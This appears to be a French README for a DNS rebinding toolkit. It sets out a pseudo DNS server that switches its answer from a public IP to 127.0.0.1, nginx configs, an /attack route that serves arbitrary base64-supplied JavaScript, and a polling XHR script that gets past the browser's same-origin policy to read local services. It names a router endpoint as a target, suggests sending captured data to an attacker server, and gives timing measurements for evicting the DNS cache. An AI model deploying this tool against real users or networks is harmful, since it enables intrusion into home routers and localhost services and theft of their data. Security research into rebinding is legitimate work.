
outil de rebind DNS avec scripts personnalisés
Inspiré par @tavisio
Ce projet se veut une boîte à outils tout-en-un pour tester les attaques de re-liaison DNS et ma façon de comprendre ce type d'attaques. Il se compose d'un serveur web et d'un pseudo serveur DNS qui ne répond qu'aux requêtes de type A.
La racine du serveur web permet de configurer et lancer l'attaque avec une interface web rudimentaire. Voir dnsrebindtool.43z.one.
Une configuration nginx de base pour héberger le serveur web
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
La route /attack du serveur web lit le paramètre GET script
qui doit fournir du javascript encodé en base64 et répond avec le code décodé
(entouré d'un setTimeout) intégré dans une page HTML classique.
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
Auprès de mon registraire pour le domaine 43z.one, j'ai configuré un enregistrement NS pour le sous-domaine
rebind pointant vers l'IP où cet outil est hébergé.
ns A 81.4.124.10
rebind NS ns.43z.one
Le serveur DNS ne répond qu'aux requêtes A de ce format
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
La première partie (sous-domaine) est simplement un identifiant aléatoire et doit être générée pour chaque session d'attaque (l'interface web le fait à chaque rechargement). Vient ensuite l'IP à laquelle le serveur DNS doit répondre pendant les 2 secondes suivantes, et la troisième l'IP à laquelle le serveur doit répondre après ce délai.
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
La dernière pièce manquante est une configuration nginx pour les domaines rebind. Seule la route /attack doit être transmise à l'outil, les autres doivent répondre avec une erreur. Cela permet d'attaquer d'autres services sur le port 80 avec toutes les routes sauf /attack. (comme /api/monitoring/stats un point d'accès exposé par mon routeur)
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
Éviction du cache DNS
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// first time the browser sees this domain it queries the dns server
// and gets 81.4.124.10
// sleep for more than 2 sec
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// still uses 81.4.124.10 (AND NOT 127.0.0.1)
// NO dns query happened browser used cached IP
C'est un problème pour ce type d'attaque. Pour fonctionner, le navigateur doit relancer une nouvelle requête DNS pour obtenir la deuxième IP. En théorie, si on attend assez longtemps entre les requêtes, une nouvelle requête devrait avoir lieu. Mes tests montrent cependant qu'il existe une approche plus rapide mais plus agressive. Il est fort probable que cela dépende de la configuration. Nécessite plus de tests. J'ai utilisé le script suivant pour mesurer la valeur optimale de la variable WAIT. Testé sous Chromium 62.0.3202.89 fonctionnant sur Debian buster/sid.
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
J'ai créé un nouveau dépôt juste pour explorer ce sujet : dns cache eviction tester
Rassembler le tout et le tester.
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
Cette instance netcat sert du contenu auquel je souhaite accéder.
Je garde le domaine rebind par défaut
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one
et le script par défaut
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
sur dnsrebindtool.43z.one et appuyez sur le bouton Attack.
Ouvrez l'onglet réseau des outils de développement pour voir ce qui se passe en arrière-plan.
Pour moi, après environ 60 secondes, la page se remplit de la chaîne TOPSECRET et du temps
écoulé. La re-liaison DNS a contourné la SOP.
Pour extraire les données compromises de l'iframe, on pourrait utiliser Window.PostMessage() ou inclure un code qui transfère les données
vers un autre serveur attaquant dans le script lui-même.
| WAIT value in ms | requests chrome sends | Time until queries dns again |
|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |